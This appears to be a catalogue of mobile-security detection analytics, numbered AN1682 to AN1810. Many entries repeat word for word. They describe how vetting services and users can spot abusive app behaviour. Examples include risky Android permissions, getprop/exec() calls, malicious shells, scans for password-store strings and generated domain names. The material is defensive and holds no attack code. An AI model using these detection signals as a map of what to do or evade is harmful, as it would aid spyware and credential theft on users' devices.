Abuse of standard application protocols can be difficult to detect as many legitimate mobile applications leverage such protocols for language-specific APIs. Enterprises may be better served focusing on detection at other stages of adversarial behavior.


[AN1682] Analytic 1682

Current version: 1.0

Description:

Abuse of standard application protocols can be difficult to detect as many legitimate mobile applications leverage such protocols for language-specific APIs. Enterprises may be better served focusing on detection at other stages of adversarial behavior.


[AN1683] Analytic 1683

Current version: 1.0

Description:

Application vetting services could detect when applications store data insecurely, for example, in unprotected external storage.


[AN1684] Analytic 1684

Current version: 1.0

Description:

Application vetting services could detect when applications store data insecurely, for example, in unprotected external storage.


[AN1685] Analytic 1685

Current version: 1.0

Description:

Application vetting services could look for misuse of dynamic libraries.


[AN1686] Analytic 1686

Current version: 1.0

Description:

Application vetting services could look for misuse of dynamic libraries.


[AN1687] Analytic 1687

Current version: 1.0

Description:

Mobile security products can potentially detect rogue Wi-Fi access points if the adversary is attempting to decrypt traffic using an untrusted SSL certificate. +Application vetting services should look for applications that request VPN access. These applications should be heavily scrutinized since VPN functionality is not very common. +On both Android and iOS, the user must grant consent to an application to act as a VPN. Both platforms also provide visual context to the user in the top status bar when a VPN connection is active. The user can see registered VPN services in the device settings.


[AN1688] Analytic 1688

Current version: 1.0

Description:

Mobile security products can potentially detect rogue Wi-Fi access points if the adversary is attempting to decrypt traffic using an untrusted SSL certificate. +Application vetting services should look for applications that request VPN access. These applications should be heavily scrutinized since VPN functionality is not very common. +On both Android and iOS, the user must grant consent to an application to act as a VPN. Both platforms also provide visual context to the user in the top status bar when a VPN connection is active. The user can see registered VPN services in the device settings.


[AN1689] Analytic 1689

Current version: 1.0

Description:

Remote access software typically requires many privileged permissions, such as accessibility services or device administrator.


[AN1690] Analytic 1690

Current version: 1.0

Description:

Remote access software typically requires many privileged permissions, such as accessibility services or device administrator.


[AN1691] Analytic 1691

Current version: 1.0

Description:

Application vetting services could look for applications attempting to get android.os.SystemProperties or getprop with the runtime exec() commands. This could indicate some level of sandbox evasion, as Google recommends against using system properties within applications.


[AN1692] Analytic 1692

Current version: 1.0

Description:

Application vetting services could look for applications attempting to get android.os.SystemProperties or getprop with the runtime exec() commands. This could indicate some level of sandbox evasion, as Google recommends against using system properties within applications.


[AN1693] Analytic 1693

Current version: 1.0

Description:

When vetting applications for potential security weaknesses, the vetting process could look for insecure use of Intents. Developers should be encouraged to use techniques to ensure that the intent can only be sent to an appropriate destination (e.g., use explicit rather than implicit intents, permission checking, checking of the destination app's signing certificate, or utilizing the App Links feature). For mobile applications using OAuth, encourage use of best practice. (Citation: IETF-OAuthNativeApps)(Citation: Android-AppLinks) +On Android, users may be presented with a popup to select the appropriate application to open the URI in. If the user sees an application they do not recognize, they can remove it.


[AN1694] Analytic 1694

Current version: 1.0

Description:

When vetting applications for potential security weaknesses, the vetting process could look for insecure use of Intents. Developers should be encouraged to use techniques to ensure that the intent can only be sent to an appropriate destination (e.g., use explicit rather than implicit intents, permission checking, checking of the destination app's signing certificate, or utilizing the App Links feature). For mobile applications using OAuth, encourage use of best practice. (Citation: IETF-OAuthNativeApps)(Citation: Android-AppLinks) +On Android, users may be presented with a popup to select the appropriate application to open the URI in. If the user sees an application they do not recognize, they can remove it.


[AN1695] Analytic 1695

Current version: 1.0

Description:

On Android, the user can review which applications have Device Administrator access in the device settings and revoke permission where appropriate. +Application vetting services can detect and closely scrutinize applications that utilize Device Administrator access.


[AN1696] Analytic 1696

Current version: 1.0

Description:

On Android, the user can review which applications have Device Administrator access in the device settings and revoke permission where appropriate. +Application vetting services can detect and closely scrutinize applications that utilize Device Administrator access.


[AN1697] Analytic 1697

Current version: 1.0

Description:

Usage of insecure or malicious third-party libraries could be detected by application vetting services. Malicious software development tools could be detected by enterprises that deploy endpoint protection software on computers that are used to develop mobile apps. Application vetting could detect the usage of insecure or malicious third-party libraries.


[AN1698] Analytic 1698

Current version: 1.0

Description:

Usage of insecure or malicious third-party libraries could be detected by application vetting services. Malicious software development tools could be detected by enterprises that deploy endpoint protection software on computers that are used to develop mobile apps. Application vetting could detect the usage of insecure or malicious third-party libraries.


[AN1699] Analytic 1699

Current version: 1.0

Description:

Network traffic analysis may reveal processes communicating with malicious domains.


[AN1700] Analytic 1700

Current version: 1.0

Description:

Network traffic analysis may reveal processes communicating with malicious domains.


[AN1701] Analytic 1701

Current version: 1.0

Description:

The user is prompted for approval when an application requests device administrator permissions. +Application vetting services can check for the string BIND_DEVICE_ADMIN in the application’s manifest. This indicates it can prompt the user for device administrator permissions. +The user can see which applications are registered as device administrators in the device settings.


[AN1702] Analytic 1702

Current version: 1.0

Description:

Enterprises may be able to detect anomalous traffic originating from mobile devices, which could indicate compromise.


[AN1703] Analytic 1703

Current version: 1.0

Description:

Application vetting services could look for misuse of dynamic libraries.


[AN1704] Analytic 1704

Current version: 1.0

Description:

Application vetting services could look for misuse of dynamic libraries.


[AN1705] Analytic 1705

Current version: 1.0

Description:

Application vetting services may be able to detect known privilege escalation exploits contained within applications, as well as searching application packages for strings that correlate to known password store locations. +Mobile security products can potentially detect jailbroken devices.


[AN1706] Analytic 1706

Current version: 1.0

Description:

Application vetting services could look for usage of the READ_PRIVILEGED_PHONE_STATE Android permission. This could indicate that non-system apps are attempting to access information that they do not have access to.


[AN1707] Analytic 1707

Current version: 1.0

Description:

Application vetting services could look for usage of the READ_PRIVILEGED_PHONE_STATE Android permission. This could indicate that non-system apps are attempting to access information that they do not have access to.


[AN1708] Analytic 1708

Current version: 1.0

Description:

Monitor for API calls that are related to the AccountManager API on Android and Keychain services on iOS. +Application vetting services may look for MANAGE_ACCOUNTS in an Android application’s manifest. Most applications do not need access to accounts, so extra scrutiny may be applied to those that request it.


[AN1709] Analytic 1709

Current version: 1.0

Description:

Monitor for API calls that are related to the AccountManager API on Android and Keychain services on iOS. +Application vetting services may look for MANAGE_ACCOUNTS in an Android application’s manifest. Most applications do not need access to accounts, so extra scrutiny may be applied to those that request it.


[AN1710] Analytic 1710

Current version: 1.0

Description:

System Network Connections Discovery can be difficult to detect, and therefore enterprises may be better served focusing on detection at other stages of adversarial behavior.


[AN1711] Analytic 1711

Current version: 1.0

Description:

The user can see persistent notifications in their notification drawer and can subsequently uninstall applications that do not belong. +Applications could be vetted for their use of the startForeground() API, and could be further scrutinized if usage is found.


[AN1712] Analytic 1712

Current version: 1.0

Description:

Mobile security products can detect which applications can request device administrator permissions. Application vetting services could be extra scrutinous of applications that request device administrator permissions. +The user can view applications with administrator access through the device settings, and may also notice if user data is inexplicably missing.


[AN1713] Analytic 1713

Current version: 1.0

Description:

Unexpected loss of radio signal could indicate that a device is being actively jammed.


[AN1714] Analytic 1714

Current version: 1.0

Description:

Unexpected loss of radio signal could indicate that a device is being actively jammed.


[AN1715] Analytic 1715

Current version: 1.0

Description:

Application vetting services could potentially detect the usage of APIs intended for artifact hiding. +The user can examine the list of all installed applications in the device settings.


[AN1716] Analytic 1716

Current version: 1.0

Description:

Since data encryption is a common practice in many legitimate applications and uses standard programming language-specific APIs, encrypting data for command and control communication is regarded as undetectable to the user.


[AN1717] Analytic 1717

Current version: 1.0

Description:

Since data encryption is a common practice in many legitimate applications and uses standard programming language-specific APIs, encrypting data for command and control communication is regarded as undetectable to the user.


[AN1718] Analytic 1718

Current version: 1.0

Description:

Application vetting services can detect when an application requests administrator permission. +When an application requests administrator permission, the user is presented with a popup and the option to grant or deny the request.


[AN1719] Analytic 1719

Current version: 1.0

Description:

Application vetting services could detect usage of standard clipboard APIs.


[AN1720] Analytic 1720

Current version: 1.0

Description:

Application vetting services could detect usage of standard clipboard APIs.


[AN1721] Analytic 1721

Current version: 1.0

Description:

Application vetting services could look for known software packers or artifacts of packing techniques. Packing is not a definitive indicator of malicious activity, because as legitimate software may use packing techniques to reduce binary size or to protect proprietary code.


[AN1722] Analytic 1722

Current version: 1.0

Description:

Application vetting services could look for known software packers or artifacts of packing techniques. Packing is not a definitive indicator of malicious activity, because as legitimate software may use packing techniques to reduce binary size or to protect proprietary code.


[AN1723] Analytic 1723

Current version: 1.0

Description:

Mobile security products can often alert the user if their device is vulnerable to known exploits.


[AN1724] Analytic 1724

Current version: 1.0

Description:

Mobile security products can often alert the user if their device is vulnerable to known exploits.


[AN1725] Analytic 1725

Current version: 1.0

Description:

Application vetting services can detect certificate pinning by examining an application’s network_security_config.xml file, although this behavior can be benign.


[AN1726] Analytic 1726

Current version: 1.0

Description:

Application vetting services can detect certificate pinning by examining an application’s network_security_config.xml file, although this behavior can be benign.


[AN1727] Analytic 1727

Current version: 1.0

Description:

Application vetting services can detect which broadcast intents an application registers for and which permissions it requests.


[AN1728] Analytic 1728

Current version: 1.0

Description:

Application vetting services can detect unnecessary and potentially abused location permissions. +On Android 10 and later, the system shows a notification to the user when an app has been accessing device location in the background. +Application vetting services can detect unnecessary and potentially abused API calls. +The user can review which applications have location permissions in the operating system’s settings menu.


[AN1729] Analytic 1729

Current version: 1.0

Description:

Application vetting services can detect unnecessary and potentially abused location permissions. +On Android 10 and later, the system shows a notification to the user when an app has been accessing device location in the background. +Application vetting services can detect unnecessary and potentially abused API calls. +The user can review which applications have location permissions in the operating system’s settings menu.


[AN1730] Analytic 1730

Current version: 1.0

Description:

This behavior is seamless to the user and is typically undetectable.


[AN1731] Analytic 1731

Current version: 1.0

Description:

Since data encryption is a common practice in many legitimate applications and uses standard programming language-specific APIs, encrypting data for command and control communication is regarded as undetectable to the user.


[AN1732] Analytic 1732

Current version: 1.0

Description:

Since data encryption is a common practice in many legitimate applications and uses standard programming language-specific APIs, encrypting data for command and control communication is regarded as undetectable to the user.


[AN1733] Analytic 1733

Current version: 1.0

Description:

Mobile security products can detect which applications can request device administrator permissions. Application vetting services could look for use of APIs that could indicate the application is trying to hide activity. +The user can view applications with administrator access through the device settings, and may also notice if user data is inexplicably missing. The user can see a list of applications that can use accessibility services in the device settings.


[AN1734] Analytic 1734

Current version: 1.0

Description:

Mobile security products can detect which applications can request device administrator permissions. Application vetting services could look for use of APIs that could indicate the application is trying to hide activity. +The user can view applications with administrator access through the device settings, and may also notice if user data is inexplicably missing. The user can see a list of applications that can use accessibility services in the device settings.


[AN1735] Analytic 1735

Current version: 1.0

Description:

Application vetting services may detect when an application requests permissions after an application update. +Application vetting services may look for indications that the application’s update includes malicious code at runtime. +Application vetting services may be able to list domains and/or IP addresses that applications communicate with.


[AN1736] Analytic 1736

Current version: 1.0

Description:

Application vetting services may detect when an application requests permissions after an application update. +Application vetting services may look for indications that the application’s update includes malicious code at runtime. +Application vetting services may be able to list domains and/or IP addresses that applications communicate with.


[AN1737] Analytic 1737

Current version: 1.0

Description:

The user can review which applications have location and sensitive phone information permissions in the operating system’s settings menu. +Application vetting services can detect unnecessary and potentially abused API calls. +Application vetting services can detect unnecessary and potentially abused permissions.


[AN1738] Analytic 1738

Current version: 1.0

Description:

The user can review which applications have location and sensitive phone information permissions in the operating system’s settings menu. +Application vetting services can detect unnecessary and potentially abused API calls. +Application vetting services can detect unnecessary and potentially abused permissions.


[AN1739] Analytic 1739

Current version: 1.0

Description:

On Android, Verified Boot can detect unauthorized modifications to the system partition.(Citation: Android-VerifiedBoot) Android's SafetyNet API provides remote attestation capabilities, which could potentially be used to identify and respond to compromise devices. Samsung Knox provides a similar remote attestation capability on supported Samsung devices.


[AN1740] Analytic 1740

Current version: 1.0

Description:

On Android, Verified Boot can detect unauthorized modifications to the system partition.(Citation: Android-VerifiedBoot) Android's SafetyNet API provides remote attestation capabilities, which could potentially be used to identify and respond to compromise devices. Samsung Knox provides a similar remote attestation capability on supported Samsung devices.


[AN1741] Analytic 1741

Current version: 1.0

Description:

Command-line activities can potentially be detected through Mobile Threat Defense (MTD) integrations with lower-level OS APIs. This could grant the MTD agents access to running processes and their parameters, potentially detecting unwanted or malicious shells. +Mobile Threat Defense (MTD) with lower-level OS APIs integrations may have access to newly created processes and their parameters, potentially detecting unwanted or malicious shells. +Application vetting services could detect the invocations of methods that could be used to execute shell commands.(Citation: Samsung Knox Mobile Threat Defense) +Mobile Threat Defense (MTD) with lower-level OS APIs integrations may have access to running processes and their parameters, potentially detecting unwanted or malicious shells.


[AN1742] Analytic 1742

Current version: 1.0

Description:

Command-line activities can potentially be detected through Mobile Threat Defense (MTD) integrations with lower-level OS APIs. This could grant the MTD agents access to running processes and their parameters, potentially detecting unwanted or malicious shells. +Mobile Threat Defense (MTD) with lower-level OS APIs integrations may have access to newly created processes and their parameters, potentially detecting unwanted or malicious shells. +Application vetting services could detect the invocations of methods that could be used to execute shell commands.(Citation: Samsung Knox Mobile Threat Defense) +Mobile Threat Defense (MTD) with lower-level OS APIs integrations may have access to running processes and their parameters, potentially detecting unwanted or malicious shells.


[AN1743] Analytic 1743

Current version: 1.0

Description:

When vetting applications for potential security weaknesses, the vetting process could look for insecure use of Intents. Developers should be encouraged to use techniques to ensure that the intent can only be sent to an appropriate destination (e.g., use explicit rather than implicit intents, permission checking, checking of the destination app's signing certificate, or utilizing the App Links feature). For mobile applications using OAuth, encourage use of best practice.(Citation: IETF-OAuthNativeApps)(Citation: Android-AppLinks) +On Android, users may be presented with a popup to select the appropriate application to open a URI in. If the user sees an application they do not recognize, they can remove it.


[AN1744] Analytic 1744

Current version: 1.0

Description:

When vetting applications for potential security weaknesses, the vetting process could look for insecure use of Intents. Developers should be encouraged to use techniques to ensure that the intent can only be sent to an appropriate destination (e.g., use explicit rather than implicit intents, permission checking, checking of the destination app's signing certificate, or utilizing the App Links feature). For mobile applications using OAuth, encourage use of best practice.(Citation: IETF-OAuthNativeApps)(Citation: Android-AppLinks) +On Android, users may be presented with a popup to select the appropriate application to open a URI in. If the user sees an application they do not recognize, they can remove it.


[AN1745] Analytic 1745

Current version: 1.0

Description:

On Android, the user can use the device settings menu to view trusted CA certificates and look for unexpected or unknown certificates. A mobile security product could similarly examine the trusted CA certificate store for anomalies. Users can use the device settings menu to view which applications on the device are allowed to install unknown applications.

+

On iOS, the user can use the device settings menu to view installed Configuration Profiles and look for unexpected or unknown profiles. A Mobile Device Management (MDM) system could use the iOS MDM APIs to examine the list of installed Configuration Profiles for anomalies.


[AN1746] Analytic 1746

Current version: 1.0

Description:

On Android, the user can use the device settings menu to view trusted CA certificates and look for unexpected or unknown certificates. A mobile security product could similarly examine the trusted CA certificate store for anomalies. Users can use the device settings menu to view which applications on the device are allowed to install unknown applications.

+

On iOS, the user can use the device settings menu to view installed Configuration Profiles and look for unexpected or unknown profiles. A Mobile Device Management (MDM) system could use the iOS MDM APIs to examine the list of installed Configuration Profiles for anomalies.


[AN1747] Analytic 1747

Current version: 1.0

Description:

The OS may show a notification to the user that the SIM card has been transferred to another device.


[AN1748] Analytic 1748

Current version: 1.0

Description:

The OS may show a notification to the user that the SIM card has been transferred to another device.


[AN1749] Analytic 1749

Current version: 1.0

Description:

No standard detection method currently exists for this technique.


[AN1750] Analytic 1750

Current version: 1.0

Description:

Application vetting services could look for use of standard APIs (e.g. the clipboard API) that could indicate data manipulation is occurring.


[AN1751] Analytic 1751

Current version: 1.0

Description:

Application vetting services can look for applications requesting the android.permission.BIND_ACCESSIBILITY_SERVICE permission in a service declaration. On Android, the user can view and manage which applications can use accessibility services through the device settings in Accessibility. The exact device settings menu locations may vary between operating system versions. +On Android, the user can view and manage which applications have third-party keyboard access through the device settings in System -> Languages & input -> Virtual keyboard. On iOS, the user can view and manage which applications have third-party keyboard access through the device settings in General -> Keyboard.


[AN1752] Analytic 1752

Current version: 1.0

Description:

Application vetting services can look for applications requesting the android.permission.BIND_ACCESSIBILITY_SERVICE permission in a service declaration. On Android, the user can view and manage which applications can use accessibility services through the device settings in Accessibility. The exact device settings menu locations may vary between operating system versions. +On Android, the user can view and manage which applications have third-party keyboard access through the device settings in System -> Languages & input -> Virtual keyboard. On iOS, the user can view and manage which applications have third-party keyboard access through the device settings in General -> Keyboard.


[AN1753] Analytic 1753

Current version: 1.0

Description:

Network carriers may be able to use firewalls, Intrusion Detection Systems (IDS), or Intrusion Prevention Systems (IPS) to detect and/or block SS7 exploitation.(Citation: CSRIC5-WG10-FinalReport) The CSRIC also suggests threat information sharing between telecommunications industry members.


[AN1754] Analytic 1754

Current version: 1.0

Description:

Network carriers may be able to use firewalls, Intrusion Detection Systems (IDS), or Intrusion Prevention Systems (IPS) to detect and/or block SS7 exploitation.(Citation: CSRIC5-WG10-FinalReport) The CSRIC also suggests threat information sharing between telecommunications industry members.


[AN1755] Analytic 1755

Current version: 1.0

Description:

Network traffic analysis could reveal patterns of compromise if devices attempt to access unusual targets or resources. +Application vetting may be able to identify applications that perform Discovery or utilize existing connectivity to remotely access hosts within an internal enterprise network.


[AN1756] Analytic 1756

Current version: 1.0

Description:

Network traffic analysis could reveal patterns of compromise if devices attempt to access unusual targets or resources. +Application vetting may be able to identify applications that perform Discovery or utilize existing connectivity to remotely access hosts within an internal enterprise network.


[AN1757] Analytic 1757

Current version: 1.0

Description:

Mobile security products can potentially detect jailbroken devices. +Application vetting services may be able to detect known privilege escalation exploits contained within applications, as well as searching application packages for strings that correlate to known password store locations.


[AN1758] Analytic 1758

Current version: 1.0

Description:

Mobile security products can potentially utilize device APIs to determine if a device has been rooted or jailbroken. +Application vetting services could potentially determine if an application contains code designed to exploit vulnerabilities.


[AN1759] Analytic 1759

Current version: 1.0

Description:

Mobile security products can potentially utilize device APIs to determine if a device has been rooted or jailbroken. +Application vetting services could potentially determine if an application contains code designed to exploit vulnerabilities.


[AN1760] Analytic 1760

Current version: 1.0

Description:

Mobile security products can often alert the user if their device is vulnerable to known exploits.


[AN1761] Analytic 1761

Current version: 1.0

Description:

Mobile security products can often alert the user if their device is vulnerable to known exploits.


[AN1762] Analytic 1762

Current version: 1.0

Description:

Since data encryption is a common practice in many legitimate applications and uses standard programming language-specific APIs, encrypting data for command and control communication is regarded as undetectable to the user.


[AN1763] Analytic 1763

Current version: 1.0

Description:

Since data encryption is a common practice in many legitimate applications and uses standard programming language-specific APIs, encrypting data for command and control communication is regarded as undetectable to the user.


[AN1764] Analytic 1764

Current version: 1.0

Description:

Application vetting services can look for the use of the Android MediaProjectionManager class, applying extra scrutiny to applications that use the class. +The user can view a list of apps with accessibility service privileges in the device settings.


[AN1765] Analytic 1765

Current version: 1.0

Description:

Monitor for pseudo-randomly generated domain names based on frequency analysis, Markov chains, entropy, proportion of dictionary words, ratio of vowels to other characters, and more.(Citation: Data Driven Security DGA) Additionally, check if the suspicious domain has been recently registered, if it has been rarely visited, or if the domain had a spike in activity after being dormant.(Citation: unit42_strat_aged_domain_det) Content delivery network (CDN) domains may trigger these detections due to the format of their domain names.


[AN1766] Analytic 1766

Current version: 1.0

Description:

Monitor for pseudo-randomly generated domain names based on frequency analysis, Markov chains, entropy, proportion of dictionary words, ratio of vowels to other characters, and more.(Citation: Data Driven Security DGA) Additionally, check if the suspicious domain has been recently registered, if it has been rarely visited, or if the domain had a spike in activity after being dormant.(Citation: unit42_strat_aged_domain_det) Content delivery network (CDN) domains may trigger these detections due to the format of their domain names.


[AN1767] Analytic 1767

Current version: 1.0

Description:

Many encryption mechanisms are built into standard application-accessible APIs and are therefore undetectable to the end user.


[AN1768] Analytic 1768

Current version: 1.0

Description:

Many encryption mechanisms are built into standard application-accessible APIs and are therefore undetectable to the end user.


[AN1769] Analytic 1769

Current version: 1.0

Description:

The user may view applications with administrator access through the device settings and may also notice if user data is inexplicably missing. +Command-line activities can potentially be detected through Mobile Threat Defense (MTD) integrations with lower-level OS APIs. This could grant the MTD agents access to running processes and their parameters, potentially detecting file deletion processes.
+The user is prompted for approval when an application requests device administrator permissions. +Application vetting services may detect API calls for deleting files.
+Mobile security products can detect which applications can request device administrator permissions. Application vetting services could be extra scrutinous of applications that request device administrator permissions.


[AN1770] Analytic 1770

Current version: 1.0

Description:

Application vetting services may provide a list of connections made or received by an application, or a list of domains contacted by the application. +Many properly configured firewalls may naturally block command and control traffic.


[AN1771] Analytic 1771

Current version: 1.0

Description:

Application vetting services may provide a list of connections made or received by an application, or a list of domains contacted by the application. +Many properly configured firewalls may naturally block command and control traffic.


[AN1772] Analytic 1772

Current version: 1.0

Description:

In iOS 14 and up, an orange dot (or orange square if the Differentiate Without Color setting is enabled) appears in the status bar when the microphone is being used by an application. However, there have been demonstrations indicating it may still be possible to access the microphone in the background without triggering this visual indicator by abusing features that natively access the microphone or camera but do not trigger the visual indicators.(Citation: iOS Mic Spyware)

+

In Android 12 and up, a green dot appears in the status bar when the microphone is being used by an application.(Citation: Android Privacy Indicators) +Android applications using the RECORD_AUDIO permission and iOS applications using RequestRecordPermission should be carefully reviewed and monitored. If the CAPTURE_AUDIO_OUTPUT permission is found in a third-party Android application, the application should be heavily scrutinized.

+

In both Android (6.0 and up) and iOS, the user can review which applications have the permission to access the microphone through the device settings screen and revoke permissions as necessary.


[AN1773] Analytic 1773

Current version: 1.0

Description:

In iOS 14 and up, an orange dot (or orange square if the Differentiate Without Color setting is enabled) appears in the status bar when the microphone is being used by an application. However, there have been demonstrations indicating it may still be possible to access the microphone in the background without triggering this visual indicator by abusing features that natively access the microphone or camera but do not trigger the visual indicators.(Citation: iOS Mic Spyware)

+

In Android 12 and up, a green dot appears in the status bar when the microphone is being used by an application.(Citation: Android Privacy Indicators) +Android applications using the RECORD_AUDIO permission and iOS applications using RequestRecordPermission should be carefully reviewed and monitored. If the CAPTURE_AUDIO_OUTPUT permission is found in a third-party Android application, the application should be heavily scrutinized.

+

In both Android (6.0 and up) and iOS, the user can review which applications have the permission to access the microphone through the device settings screen and revoke permissions as necessary.


[AN1774] Analytic 1774

Current version: 1.0

Description:

Application vetting services could look for android.permission.READ_CALENDAR or android.permission.WRITE_CALENDAR in an Android application’s manifest, or NSCalendarsUsageDescription in an iOS application’s Info.plist file. Most applications do not need calendar access, so extra scrutiny could be applied to those that request it. +On both Android and iOS, the user can manage which applications have permission to access calendar information through the device settings screen, revoke the permission if necessary.


[AN1775] Analytic 1775

Current version: 1.0

Description:

Application vetting services could look for android.permission.READ_CALENDAR or android.permission.WRITE_CALENDAR in an Android application’s manifest, or NSCalendarsUsageDescription in an iOS application’s Info.plist file. Most applications do not need calendar access, so extra scrutiny could be applied to those that request it. +On both Android and iOS, the user can manage which applications have permission to access calendar information through the device settings screen, revoke the permission if necessary.


[AN1776] Analytic 1776

Current version: 1.0

Description:

In both Android (6.0 and up) and iOS, the user can view which applications have the permission to access the device location through the device settings screen and revoke permissions as necessary. +Android applications requesting the ACCESS_COARSE_LOCATION, ACCESS_FINE_LOCATION, or ACCESS_BACKGROUND_LOCATION permissions and iOS applications including the NSLocationWhenInUseUsageDescription, NSLocationAlwaysAndWhenInUseUsageDescription, and/or NSLocationAlwaysUsageDescription keys in their Info.plist file could be scrutinized during the application vetting process.


[AN1777] Analytic 1777

Current version: 1.0

Description:

In both Android (6.0 and up) and iOS, the user can view which applications have the permission to access the device location through the device settings screen and revoke permissions as necessary. +Android applications requesting the ACCESS_COARSE_LOCATION, ACCESS_FINE_LOCATION, or ACCESS_BACKGROUND_LOCATION permissions and iOS applications including the NSLocationWhenInUseUsageDescription, NSLocationAlwaysAndWhenInUseUsageDescription, and/or NSLocationAlwaysUsageDescription keys in their Info.plist file could be scrutinized during the application vetting process.


[AN1778] Analytic 1778

Current version: 1.0

Description:

An Android user can view and manage which applications hold the SYSTEM_ALERT_WINDOW permission through the device settings in Apps & notifications -> Special app access -> Display over other apps (the exact menu location may vary between Android versions). +Application vetting services can look for applications requesting the android.permission.SYSTEM_ALERT_WINDOW permission in the list of permissions in the app manifest.


[AN1779] Analytic 1779

Current version: 1.0

Description:

An Android user can view and manage which applications hold the SYSTEM_ALERT_WINDOW permission through the device settings in Apps & notifications -> Special app access -> Display over other apps (the exact menu location may vary between Android versions). +Application vetting services can look for applications requesting the android.permission.SYSTEM_ALERT_WINDOW permission in the list of permissions in the app manifest.


[AN1780] Analytic 1780

Current version: 1.0

Description:

Detection of steganography is difficult unless detectable artifacts with a known signature are left behind by the obfuscation process. Look for strings are other signatures left in system artifacts related to decoding steganography.


[AN1781] Analytic 1781

Current version: 1.0

Description:

Application vetting services may be able to detect if an application attempts to encrypt files, although this may be benign behavior.


[AN1782] Analytic 1782

Current version: 1.0

Description:

Application vetting services could look for android.permission.READ_CONTACTS in an Android application’s manifest, or NSContactsUsageDescription in an iOS application’s Info.plist file. Most applications do not need contact list access, so extra scrutiny could be applied to those that request it. +On both Android and iOS, the user can manage which applications have permission to access the contact list through the device settings screen, revoking the permission if necessary.


[AN1783] Analytic 1783

Current version: 1.0

Description:

Application vetting services could look for android.permission.READ_CONTACTS in an Android application’s manifest, or NSContactsUsageDescription in an iOS application’s Info.plist file. Most applications do not need contact list access, so extra scrutiny could be applied to those that request it. +On both Android and iOS, the user can manage which applications have permission to access the contact list through the device settings screen, revoking the permission if necessary.


[AN1784] Analytic 1784

Current version: 1.0

Description:

Application vetting services could look for the Android permission android.permission.QUERY_ALL_PACKAGES, and apply extra scrutiny to applications that request it. On iOS, application vetting services could look for usage of the private API LSApplicationWorkspace and apply extra scrutiny to applications that employ it.


[AN1785] Analytic 1785

Current version: 1.0

Description:

Application vetting services could look for the Android permission android.permission.QUERY_ALL_PACKAGES, and apply extra scrutiny to applications that request it. On iOS, application vetting services could look for usage of the private API LSApplicationWorkspace and apply extra scrutiny to applications that employ it.


[AN1786] Analytic 1786

Current version: 1.0

Description:

The user can view permissions granted to an application in device settings. +Application vetting services typically flag permissions requested by an application, which can be reviewed by an administrator. Certain dangerous permissions, such as RECEIVE_SMS, could receive additional scrutiny.


[AN1787] Analytic 1787

Current version: 1.0

Description:

The user can view permissions granted to an application in device settings. +Application vetting services typically flag permissions requested by an application, which can be reviewed by an administrator. Certain dangerous permissions, such as RECEIVE_SMS, could receive additional scrutiny.


[AN1788] Analytic 1788

Current version: 1.0

Description:

On Android, the user is presented with a permissions popup when an application requests access to external device storage.


[AN1789] Analytic 1789

Current version: 1.0

Description:

On Android, the user is presented with a permissions popup when an application requests access to external device storage.


[AN1790] Analytic 1790

Current version: 1.0

Description:

Applications could be vetted for their use of the clipboard manager APIs with extra scrutiny given to application that make use of them.


[AN1791] Analytic 1791

Current version: 1.0

Description:

Mobile security products may provide URL inspection services that could determine if a domain being visited is malicious. +Enterprises may be able to detect anomalous traffic originating from mobile devices, which could indicate compromise.


[AN1792] Analytic 1792

Current version: 1.0

Description:

Mobile security products may provide URL inspection services that could determine if a domain being visited is malicious. +Enterprises may be able to detect anomalous traffic originating from mobile devices, which could indicate compromise.


[AN1793] Analytic 1793

Current version: 1.0

Description:

Abuse of standard application protocols can be difficult to detect as many legitimate mobile applications leverage such protocols for language-specific APIs. Enterprises may be better served focusing on detection at other stages of adversarial behavior.


[AN1794] Analytic 1794

Current version: 1.0

Description:

Abuse of standard application protocols can be difficult to detect as many legitimate mobile applications leverage such protocols for language-specific APIs. Enterprises may be better served focusing on detection at other stages of adversarial behavior.


[AN1795] Analytic 1795

Current version: 1.0

Description:

Application vetting services could look for android.permission.READ_SMS in an Android application’s manifest. Most applications do not need access to SMS messages, so extra scrutiny could be applied to those that request it. +On Android, the user can manage which applications have permission to access SMS messages through the device settings screen, revoking the permission if necessary.


[AN1796] Analytic 1796

Current version: 1.0

Description:

Application vetting services could look for android.permission.READ_SMS in an Android application’s manifest. Most applications do not need access to SMS messages, so extra scrutiny could be applied to those that request it. +On Android, the user can manage which applications have permission to access SMS messages through the device settings screen, revoking the permission if necessary.


[AN1797] Analytic 1797

Current version: 1.0

Description:

Application vetting can detect many techniques associated with impairing device defenses.(Citation: Samsung Knox Mobile Threat Defense) +Mobile security products integrated with Samsung Knox for Mobile Threat Defense can monitor processes to see if security tools are killed or stop running.


[AN1798] Analytic 1798

Current version: 1.0

Description:

If the user sees a notification with text they do not recognize, they should review their list of installed applications.


[AN1799] Analytic 1799

Current version: 1.0

Description:

If the user sees a notification with text they do not recognize, they should review their list of installed applications.


[AN1800] Analytic 1800

Current version: 1.0

Description:

Mobile threat defense agents could detect unauthorized operating system modifications by using attestation.


[AN1801] Analytic 1801

Current version: 1.0

Description:

Application vetting services could look for use of the accessibility service or features that typically require root access. +The user can see a list of applications that can use accessibility services in the device settings.


[AN1802] Analytic 1802

Current version: 1.0

Description:

Mobile security products can often alert the user if their device is vulnerable to known exploits.


[AN1803] Analytic 1803

Current version: 1.0

Description:

Mobile security products can often alert the user if their device is vulnerable to known exploits.


[AN1804] Analytic 1804

Current version: 1.0

Description:

Mobile security products can typically detect rooted devices, which is an indication that Process Discovery is possible. Application vetting could potentially detect when applications attempt to abuse root access or root the system itself. Further, application vetting services could look for attempted usage of legacy process discovery mechanisms, such as the usage of ps or inspection of the /proc directory.


[AN1805] Analytic 1805

Current version: 1.0

Description:

Mobile security products can typically detect rooted devices, which is an indication that Process Discovery is possible. Application vetting could potentially detect when applications attempt to abuse root access or root the system itself. Further, application vetting services could look for attempted usage of legacy process discovery mechanisms, such as the usage of ps or inspection of the /proc directory.


[AN1806] Analytic 1806

Current version: 1.0

Description:

The user can view a list of active device administrators in the device settings.


[AN1807] Analytic 1807

Current version: 1.0

Description:

Mobile threat defense agents could detect unauthorized operating system modifications by using attestation.


[AN1808] Analytic 1808

Current version: 1.0

Description:

The user can view which applications have permission to use the camera through the device settings screen, where the user can then choose to revoke the permissions. +During the vetting process, applications using the Android permission android.permission.CAMERA, or the iOS NSCameraUsageDescription plist entry could be given closer scrutiny.


[AN1809] Analytic 1809

Current version: 1.0

Description:

The user can view which applications have permission to use the camera through the device settings screen, where the user can then choose to revoke the permissions. +During the vetting process, applications using the Android permission android.permission.CAMERA, or the iOS NSCameraUsageDescription plist entry could be given closer scrutiny.


[AN1810] Analytic 1810

Current version: 1.0

Description:

Network service scanning can be difficult to detect, and therefore enterprises may be better served focusing on detection at other stages of adversarial behavior.


